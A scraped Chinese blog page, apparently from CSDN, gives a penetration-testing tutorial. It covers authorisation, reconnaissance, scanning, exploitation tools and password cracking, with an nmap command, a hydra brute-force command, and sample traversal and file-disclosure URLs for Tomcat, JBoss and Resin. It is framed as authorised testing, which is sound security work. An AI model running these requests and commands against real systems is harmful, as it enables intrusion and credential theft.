    这些攻击是在组织外部进行的,包括测试托管在互联网上的Web应用程序。测试人员的行为就像黑客一样,他们不太了解内部系统。为了模拟这种攻击,测试人员得到目标系统的IP而不提供任何其他信息。他们需要搜索和扫描公共网页,并找到我们关于目标主机的信息,然后危害找到的主机。基本上,它包括测试服务器、防火墙和IDS

    WEB渗透测试方法

    这可以包括三个阶段

     

    流行的渗透测试工具

    能手动执行渗透测试吗,还是总是通过使用工具进行自动化。毫无疑问,我想你们大多数人都在谈论自动化。

    这是真的,因为自动化带来了速度,避免了人工错误、出色的覆盖率以及其他一些好处,但是就渗透测试而言,它确实需要我们执行一些手工测试。手动测试有助于发现与业务逻辑相关的漏洞,减少误报。 工具容易给出许多误报,因此需要人工干预来确定它们是否是真正的漏洞。

    创建工具是为了自动化我们的测试工作。以下是一些可用于Pentest的工具:

    • Free Pen Test tool
    • Veracode
    • Vega
    • Burp Suite
    • NetSparker
    • Arachni
    • Acunetix
    • ZAP

    Burp Suite 和 NetSparker 是我非常喜欢的工具。

    理想情况下,渗透测试可以帮助我们创建安全的软件。但这是一个非常耗费成本的测试方法,所以测试的频率可以不必太频繁。       

    附:

    The process of penetration testing may be simplified into five phases

             侦查(嗅探)收集关于目标系统的重要信息的行为。此信息可用于更好地攻击目标。例如,开源搜索引擎可用于查找可用于社会工程攻 击的数据。 

             使用技术工具来进一步提高攻击者对系统的知识。 

             使用在侦察(嗅探)和扫描阶段收集的数据,攻击者可以使用有效负载来利用目标系统。 

             维护访问需要采取步骤,以便能够持久地在目标环境中收集尽可能多的数据。 

             攻击者必须清除任何破坏受害者系统的跟踪、收集的任何类型的数据、记录事件,以便保持匿名。

    一旦攻击者利用了一个漏洞,他们就可以访问其他机器,因此该过程重复,即寻找新的漏洞并试图利用它们。这个过程被称为-Pivoting。

    1. Reconnaissance-The act of gathering important information on a target system. This information can be used to better attack the target. For example, open source search engines can be used to find data that can be used in a social engineering attack.
    2. Scanning - Uses technical tools to further the attacker's knowledge of the system. For example, Nmap can be used to scan for open ports.
    3. Gaining Access - Using the data gathered in the reconnaissance and scanning phases, the attacker can use a payload to exploit the targeted system. For example, Metasploit can be used to automate attacks on known vulnerabilities.
    4. Maintaining Access - Maintaining access requires taking the steps involved in being able to be persistently within the target environment in order to gather as much data as possible.
    5. Covering Tracks - The attacker must clear any trace of compromising the victim system, any type of data gathered, log events, in order to remain anonymous.

     

    (完)

           

     

     

     

     

     

     

    展开全文
  • 网站渗透测试原理及详细过程

    万次阅读 2013-09-19 17:29:25
    网站渗透测试原理及详细过程 渗透测试(Penetration Testing)目录 零、前言 一、简介 二、制定实施方案 三、具体操作过程 四、生成报告 五、测试过程中的风险及规避 参考资料 FAQ集     零、...

    网站渗透测试原理及详细过程

    渗透测试(Penetration Testing)目录

    零、前言
    一、简介
    二、制定实施方案
    三、具体操作过程
    四、生成报告
    五、测试过程中的风险及规避
    参考资料
    FAQ集

     

     

    零、前言

    渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提供的所有渗透测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethical hacking),因此我们这里的所有读者应当都是Ethical Hackers,如果您还不是,那么我希望您到过这里后会成为他们中的一员 ;)
    这里,我还想对大家说一些话:渗透测试重在实践,您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了,即使您将它打印出来沾点辣椒酱吃了也不行,您一定要根据文档一步一步练习才行。而且测试重在用脑,千万别拿上一两个本文中提到的工具一阵乱搞,我敢保证:互联网的安全不为因为这样而更安全。祝您好运。。。

    一、简介
    • 什么叫渗透测试?
      渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。
    • 进行渗透测试的目的?
      了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估工作)需要做到面面俱到才算成功,而一位黑客(渗透测试)只要能通过一点进入系统进行破坏,他就算是很成功的了。
    • 渗透测试是否等同于风险评估?
      不是,你可以暂时理解成渗透测试属于风险评估的一部分。事实上,风险评估远比渗透测试复杂的多,它除渗透测试外还要加上资产识别,风险分析,除此之外,也还包括了人工审查以及后期的优化部分(可选)。
    • 已经进行了安全审查,还需要渗透测试吗?
      如果我对您说:嘿,中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了,没必要再发射神8了。您能接受吗?
    • 渗透测试是否就是黑盒测试?
      否,很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵,同时,防止内部人员的有意识(无意识)攻击也是很有必要的。这时,安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时,它就满足灰盒甚至白盒测试。
    • 渗透测试涉及哪些内容?
      技术层面主要包括网络设备,主机,数据库,应用系统。另外可以考虑加入社会工程学(入侵的艺术/THE ART OF INTRUSION)。
    • 渗透测试有哪些不足之处?
      主要是投入高,风险高。而且必须是专业的Ethical Hackers才能相信输出的最终结果。
    • 你说的那么好,为什么渗透测试工作在中国开展的不是很火热呢?
      我只能说:会的,一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后,自己的安全等级到了一个什么程序。但是很显然,用户是相信一个专业且经验丰富的安全团队的,这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看,测试人员的水平是对不住开的那些价格的,而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后,这种情况会有所改观,到时一方面安全人员的技术力量有很大程度的改观,另一方面各企业对渗透测试会有一个比较深刻的理解,也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。
    二、制定实施方案

    实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下:

    • 目标系统介绍、重点保护对象及特性。
    • 是否允许数据破坏?
    • 是否允许阻断业务正常运行?
    • 测试之前是否应当知会相关部门接口人?
    • 接入方式?外网和内网?
    • 测试是发现问题就算成功,还是尽可能的发现多的问题?
    • 渗透过程是否需要考虑社会工程?
    • 。。。

    在得到客户反馈后,由测试方书写实施方案初稿并提交给客户,由客户进行审核。在审核完成后,客户应当对测试方进行书面委托授权。这里,两部分文档分别应当包含如下内容:

    • 实施方案部分:
      ...
    • 书面委托授权部分:
      ...
    三、具体操作过程

    1、信息收集过程

    • 网络信息收集:
      在这一部还不会直接对被测目标进行扫描,应当先从网络上搜索一些相关信息,包括Google Hacking, Whois查询, DNS等信息(如果考虑进行社会工程学的话,这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成,身份识别方式,邮件联系地址等)。

      1.使用whois查询目标域名的DNS服务器
      2.nslookup
      >set type=all
      ><domain>
      >server <ns server>
      >set q=all
      >ls -d <domain>

      涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs 除此之外,我想特别提醒一下使用Googlebot/2.1绕过一些文件的获取限制。

      Google hacking 中常用的一些语法描述
      1.搜索指定站点关键字site。你可以搜索具体的站点如site:www.nosec.org。使用site:nosec.org可以搜索该域名下的所有子域名的页面。甚至可以使用site:org.cn来搜索中国政府部门的网站。
      2.搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点,你可以尝试用inurl:asp?id=
      3.搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台,你可以尝试使用intitle:"admin login"

    • 目标系统信息收集:
      通过上面一步,我们应当可以简单的描绘出目标系统的网络结构,如公司网络所在区域,子公司IP地址分布,VPN接入地址等。这里特别要注意一些比较偏门的HOST名称地址,如一些backup开头或者temp开关的域名很可能就是一台备份服务器,其安全性很可能做的不够。
      从获取的地址列表中进行系统判断,了解其组织架构及操作系统使用情况。最常用的方法的是目标所有IP网段扫描。
    • 端口/服务信息收集:
      这一部分已经可以开始直接的扫描操作,涉及的工具包括:nmap,thc-amap

      1.我最常使用的参数
      nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 <ip address>

    • 应用信息收集:httprint,SIPSCAN,smap
    • 这里有必要将SNMP拿出来单独说一下,因为目前许多运营商、大型企业内部网络的维护台通过SNMP进行数据传输,大部分情况是使用了默认口令的,撑死改了private口令。这样,攻击者可以通过它收集到很多有效信息。snmp-guiHiliSoft MIB Browsermibsearchnet-snmp都是一些很好的资源。

    2、漏洞扫描

    这一步主要针对具体系统目标进行。如通过第一步的信息收集,已经得到了目标系统的IP地址分布及对应的域名,并且我们已经通过一些分析过滤出少许的几个攻击目标,这时,我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行:

    针对系统层面的工具有:ISS, Nessus, SSS, Retina, 天镜, 极光

    针对WEB应用层面的工具有:AppScanAcunetix Web Vulnerability ScannerWebInspectNstalker

    针对数据库的工具有:ShadowDatabaseScannerNGSSQuirreL

    针对VOIP方面的工具有:PROTOS c07 sip(在测试中直接用这个工具轰等于找死)以及c07 h225Sivussipsak等。

    事实上,每个渗透测试团队或多或少都会有自己的测试工具包,在漏洞扫描这一块针对具体应用的工具也比较个性化。

    3、漏洞利用

    有时候,通过服务/应用扫描后,我们可以跳过漏洞扫描部分,直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码,如milw0rmsecurityfocus,packetstormsecurity等网站,上面都对应有搜索模块。实在没有,我们也可以尝试在GOOGLE上搜索“应用名称 exploit”、“应用名称 vulnerability”等关键字。

    当然,大部分情况下你都可以不这么麻烦,网络中有一些工具可供我们使用,最著名的当属metasploit了,它是一个开源免费的漏洞利用攻击平台。其他的多说无益,您就看它从榜上无名到冲进前五(top 100)这一点来说,也能大概了解到它的威力了。除此之外,如果您(您们公司)有足够的moeny用于购买商用软件的话,CORE IMPACT是相当值得考虑的,虽然说价格很高,但是它却是被业界公认在渗透测试方面的泰山北斗,基本上测试全自动。如果您觉得还是接受不了,那么您可以去购买CANVAS,据说有不少0DAY,不过它跟metasploit一样,是需要手动进行测试的。最后还有一个需要提及一下的Exploitation_Framework,它相当于一个漏洞利用代码管理工具,方便进行不同语言,不同平台的利用代码收集,把它也放在这里是因为它本身也维护了一个exploit库,大家参考着也能使用。

    上面提到的是针对系统进行的,在针对WEB方面,注入工具有NBSI, OWASP SQLiXSQL Power InjectorsqlDumpersqlninjasqlmapSqlbftoolspriamosISR-sqlget***等等。

    在针对数据库方面的工具有:

    数据库 工具列表 Oracle(1521端口): 目前主要存在以下方面的安全问题:
    1、TNS监听程序攻击(sid信息泄露,停止服务等)
    2、默认账号(default password list)
    3、SQL INJECTION(这个与传统的意思还不太一样)
    4、缓冲区溢出,现在比较少了。 thc-orakeltnscmdoscannerGetsidsTNSLSNRlsnrcheckOATCheckpwdorabf MS Sql Server(1433、1434端口)   Mysql(3306端口)   DB2(523、50000、50001、50002、50003端口) db2utils Informix(1526、1528端口)  

    在针对Web服务器方面的工具有:

    WEB服务器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目录了吗?另外,目录列表也是Tomcat服务器中最常见的问题。比如5.*版本中的http://127.0.0.1/;index.jsp
    http://www.example.com/foo/"../manager/html 
    http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
    http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083端口有%符号的漏洞:
    GET %. HTTP/1.0可以获取物理路径信息,
    GET %server.policy HTTP/1.0可以获取安全策略配置文档。
    你也可以直接访问GET %org/xxx/lib.class来获取编译好的java程序,再使用一些反编译工具还原源代码。 Apache   Resin http://victim/C:%5C/
    http://victim/resin-doc/viewfile/?file=index.jsp
    http://victim/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
    http://victim/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
    http://victim/[path]/[device].[extension]
    http://victim/%20.."web-inf
    http://victim/%20
    http://victim/[path]/%20.xtp WebLogic  

    Web安全测试主要围绕几块进行:

    • Information Gathering:也就是一般的信息泄漏,包括异常情况下的路径泄漏、文件归档查找等
    • Business logic testing:业务逻辑处理攻击,很多情况下用于进行业务绕过或者欺骗等等
    • Authentication Testing:有无验证码、有无次数限制等,总之就是看能不能暴力破解或者说容不容易通过认证,比较直接的就是“默认口令”或者弱口令了
    • Session Management Testing:会话管理攻击在COOKIE携带认证信息时最有效
    • Data Validation Testing:数据验证最好理解了,就是SQL Injection和Cross Site Script等等

    目前网上能够找到许多能够用于进行Web测试的工具,根据不同的功能分主要有:

    1. 枚举(Enumeration): DirBuster, http-dir-enum, wget
    2. 基于代理测试类工具:paros, webscarab, Burp Suite

    针对WebService测试的部分有一些尚不是很成熟的工具,如:wsbangwschesswsmapwsdiggerwsfuzzer

    这一部分值得一提的是,很多渗透测试团队都有着自己的测试工具甚至是0DAY代码,最常见的是SQL注入工具,现网开发的注入工具(如NBSI等)目前都是针对中小企业或者是个人站点/数据库进行的,针对大型目标系统使用的一些相对比较偏门的数据库系统(如INFORMIX,DB2)等,基本上还不涉及或者说还不够深入。这时各渗透测试团队就开发了满足自身使用习惯的测试工具。

    在针对无线环境的攻击有:WifiZoo

    4、权限提升

    在前面的一些工作中,你或许已经得到了一些控制权限,但是对于进一步攻击来说却还是不够。例如:你可能很容易的能够获取Oracle数据库的访问权限,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一个基本账号权限,但是当你想进行进一步的渗透测试的时候问题就来了。你发现你没有足够的权限打开一些密码存储文件、你没有办法安装一个SNIFFER、你甚至没有权限执行一些很基本的命令。这时候你自然而然的就会想到权限提升这个途径了。

    目前一些企业对于补丁管理是存在很大一部分问题的,他们可能压根就没有想过对一些服务器或者应用进行补丁更新,或者是延时更新。这时候就是渗透测试人员的好机会了。经验之谈:有一般权限的Oracle账号或者AIX账号基本上等于root,因为这就是现实生活。

    5、密码破解

    有时候,目标系统任何方面的配置都是无懈可击的,但是并不是说就完全没办法进入。最简单的说,一个缺少密码完全策略的论证系统就等于你安装了一个不能关闭的防盗门。很多情况下,一些安全技术研究人员对此不屑一顾,但是无数次的安全事故结果证明,往往破坏力最大的攻击起源于最小的弱点,例如弱口令、目录列表、SQL注入绕过论证等等。所以说,对于一些专门的安全技术研究人员来说,这一块意义不大,但是对于一个ethical hacker来说,这一步骤是有必要而且绝大部分情况下是必须的。;)

    目前比较好的网络密码暴力破解工具有:thc-hydrabrutus

    >hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 www.heimian.com ftp

    目前网络中有一种资源被利用的很广泛,那就是rainbow table技术,说白了也就是一个HASH对应表,有一些网站提供了该种服务,对外宣称存储空间大于多少G,像rainbowcrack更是对外宣称其数据量已经大于1.3T。
    针对此种方式对外提供在线服务的有:

    网址 描述 rainbowcrack 里面对应了多种加密算法的HASH。 http://gdataonline.com/seekhash.php   http://www.milw0rm.com/cracker/info.php   http://www.hashchecker.com/?_sls=search_hash   http://bokehman.com/cracker/   http://passcracking.ru/   http://www.md5.org.cn   http://www.cmd5.com/ 数据量全球第一,如果本站无法破解,那么你只能去拜春哥...

    当然,有些单机破解软件还是必不可少的:Ophcrackrainbowcrack(国人开发,赞一个),cain,L0phtCrack(破解Windows密码),John the Ripper(破解UNIX/LINUX)密码,当然,还少不了一个FindPass...

    针对网络设备的一些默认帐号,你可以查询http://www.routerpasswords.com/http://www.phenoelit-us.org/dpl/dpl.html

    在渗透测试过程中,一旦有机会接触一些OFFICE文档,且被加了密的话,那么,rixler是您马上要去的地方,他们提供的OFFICE密码套件能在瞬间打开OFFICE文档(2007中我没有试过,大家有机会测试的话请给我发一份测试结果说明,谢谢)。看来微软有理由来个补丁什么的了。对于企业来说,您可以考虑使用铁卷或者RMS了。

    6、日志清除

    It is not necessary actually.

    7、进一步渗透

    攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果,我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺骗)。当然,最简单的你可以翻翻已入侵机器上的一些文件,很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器,那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。

    除此之外,你可以直接回到第二步漏洞扫描来进行。

    四、生成报告

    报告中应当包含:

    1. 薄弱点列表清单(按照严重等级排序)
    2. 薄弱点详细描述(利用方法)
    3. 解决方法建议
    4. 参与人员/测试时间/内网/外网
    五、测试过程中的风险及规避

    在测试过程中无可避免的可能会发生很多可预见和不可预见的风险,测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考:

    1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。

    2. 测试验证时间放在业务量最小的时间进行。

    3. 测试执行前确保相关数据进行备份。

    4. 所有测试在执行前和维护人员进行沟通确认。

    5. 在测试过程中出现异常情况时立即停止测试并及时恢复系统。

    6. 对原始业务系统进行一个完全的镜像环境,在镜像环境上进行渗透测试。

    参考资料:
    1. 大成天下渗透测试服务技术白皮书 v1.4
    2. Penetration Testing Framework
    3. Report Template
    4. http://www.phenoelit.de/dpl/dpl.html
    5. http://snakeoillabs.com/downloads/GHDB.xml
    6. http://www.eccouncil.org/Course-Outline/Ethical%20Hacking%20and%20Countermeasures%20Course.htm
    7. http://www.owasp.org/index.php/OWASP_Testing_Project
    8. http://www.red-database-security.com
    9. http://www.petefinnigan.com
    10. http://www.insomniasec.com/releases/whitepapers-presentations
    11. http://www.isecom.org/osstmm/
    展开全文
  • 什么是渗透测试

    千次阅读 2014-09-24 10:48:27
    渗透测试的分类
  • 渗透测试-渗透工具

    千次阅读 2019-01-17 14:34:44
    (1)浏览器设置代理的配置: (2)Burp Suite的配置:Proxy——&amp;amp;amp;amp;amp;amp;amp;amp;gt;Options——&amp;amp;amp;amp;amp;amp;amp;amp;gt;Proxy Listeners加入...Burp Suite设置:Proxy—
  • 渗透测试的8个步骤—转载

    万次阅读 多人点赞 2017-10-31 09:35:35
    渗透测试的8个步骤 展现一次完整的渗透测试过程及思路 发布时间:2017年10月25日 15:11 浏览量:1104  渗透测试这个事情不是随便拿个工具就可以做了, 要了解业务还需要给出解决方案 。之前安全加介绍了...
  • 渗透测试报告

    千次阅读 2020-05-16 11:56:17
    通过实施针对性的渗透测试,发现成绩管理系统网站的安全漏洞,保障系统WEB业务的安全运行。 1.2.测试范围 根据事先交流,本次测试的范围详细如下: 系统名称 成绩管理系统网站 测试域名 www.grade.com ...
  • 完整的渗透测试流程

    万次阅读 2020-08-26 16:44:23
    第一步:web端信息收集 确定目标真实ip ...若nslookup查询到的ip有两个或者以上,则代表目标主机有cdn。 绕过cdn的常见方式: 1.查看域名绑定ip的历史记录。 2.查询子域名的ip并分析。 3.利用网络空间引擎搜索,常见的...
  • 渗透测试之信息收集

    万次阅读 多人点赞 2018-11-16 11:11:41
    目录 信息收集 域名信息的收集 公司敏感信息网上搜集 网站指纹识别 整站分析 服务器类型(Linux/Windows) 网站容器(Apache/Nginx/Tomcat/IIS) 脚本类型(php/jsp/asp/aspx) 数据库类型(Mysql/Oracle...旁站和...
  • 渗透测试

    千次阅读 2019-06-02 18:02:31
    文章目录渗透测试概述简介:渗透测试与入侵的最大区别:渗透的目的:渗透可能利用的途径:常用名词:一般渗透测试流程明确目标信息收集漏洞探索方法:漏洞验证信息分析获取所需信息整理形成报告流程总结信息收集的...
  • linux后渗透信息收集

    万次阅读 2020-08-26 15:54:11
    渗透思路 查看系统中重要的目录与文件 /etc/resolv.conf #dns配置 /etc/passwd #存放用户账号 /etc/shadow #存放用户密码 /tmp #部分软件的临时安装包等 /usr/local/etc #存放某些程序的配置文件 各种 以 . 开头...
  • 渗透测试学习资料

    2018-12-11 19:30:20
    Python黑帽子 黑客与渗透测试编程之道 WEB入侵的全过程 Web入侵法总汇 web渗透测试常规套路 windosw下MySQL root用户密码重置 安全漏洞公共资源库 高度安全环境下的高级渗透测试 黑客网络入侵大型网站的完整思路 ...
  • Kali Linux渗透测试实战

    热门讨论 2014-03-10 16:50:48
    Kali Linux渗透测试实战 如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品, 从Kali开始,BackTrack将成为历史。如果您没接触过BackTrack也没关系,我们从头...
  • 从一个ctf选手到一个渗透测试工程师,第一步需要改变的就是学习信息收集。渗透测试不是比赛,不会有提示,不会有查看源代码内藏提示等等,甚至你不可以使用扫描器(比如ctf中常见的AWVS),sqlmap等等。 工作中,...
  • 匿名工具 I2P- 隐形互联网项目。 Nipe- 用于将所有流量从计算机重定向到Tor网络的脚本。... 每个浏览器都知道的内容- 全面的检测页面,用于测试您自己的Web浏览器的隐私和身份泄漏配置。 dos-over-to...
  • 内网渗透测试

    千次阅读 多人点赞 2018-11-27 21:04:39
    什么是内网? 内网是一个只有组织工作人员才能访问的专用网络 组织内部IT系统提供的... 仅面向内网系统渗透测试 模拟内部员工进行渗透测试 内网渗透基本流程: 信息收集 获取权限 横向移动 权限维持 ...
  • 新手学习渗透测试的入门指南

    千次阅读 2019-11-16 22:10:04
    渗透测试入门手册 本手册将持续更新!这是20190707版 如果觉得本文有用,请高抬贵手分享给你的朋友。 渗透测试是什么? 维基百科的释义:https://zh.wikipedia.org/wiki/渗透测试 百度百科的释义:...
  • 渗透测试流程图-PTES渗透测试执行标准,涉及渗透测试全流程,从前期准备交互阶段到情报收集、漏洞分析、渗透攻击到后渗透测试及报告。
  • Kali Linux 是一个渗透测试兼安全审计平台, 集成了多款漏洞检测、 目标识别和漏洞利用工具, 在信息安全业界有着广泛的用途。 本书从业务角度出发, 通过真实攻击案例并辅之以各种实用的黑客工具, 探讨了进行渗透...
  • 一次完整的渗透测试流程 目录 渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,...
  • APP渗透测试篇(上)

    千次阅读 2020-08-02 19:03:35
    渗透测试,一定要有耐心,所有的功能点都要测试。 很多地方不亲身经历是没有太多的感受的。 一、App渗透测试原理 1.简介 App渗透测试与Web渗透测试从某种角度说基本没有区别 App其实就是手机...
  • 渗透测试就是借助各种漏洞扫描工具,通过模拟黑客的攻击方法,来对网络安全进行评估。 本书采用大量真实案例和集邮帮助的建议讲解了在渗透测试期间会面临的一些障碍,以及相应的解决方法。本书共分为10章,其内容...
  • 渗透测试流程

    2019-10-02 21:54:33
    通用渗透测试框架 从技术管理的角度来看,遵循正规的测试框架对安全测试极为重要。 通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。 相关阶段如下: 1. 范围界定 2. 信息搜集 3....
  • 前言 小小白承包了一块20亩的土地,依山傍水,风水不错。听朋友说去年玉米大卖,他也想尝尝甜头,也就种上了玉米。 看着玉米茁壮成长,别提小小白心里多开心,心里盘算着玉米大买后,吃香喝辣的富贵生活。...
  • 内网渗透测试之域渗透详解 转自:https://www.freebuf.com/company-information/172630.html 在渗透测试过程中,我们经常会遇到以下场景:某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web...
  • 渗透测试平台

    2018-08-28 10:33:09
    一款渗透测试实战平台。
  • Metasploit渗透测试实验报告

    万次阅读 2016-02-21 13:27:38
    《Metasploit渗透测试魔鬼训练营》一书采用独特的让读者成为虚拟渗透测试的主角的方式,经历一次对DVSSC公司网络的渗透测试任务。渗透测试的目标为DVSSC公司DMZ网段以及内网客户端主机。四个主机均存在严重漏洞缺陷...

空空如也

1 2 3 4 5 ... 20
收藏数 108,747
精华内容 43,498
关键字:

渗透测试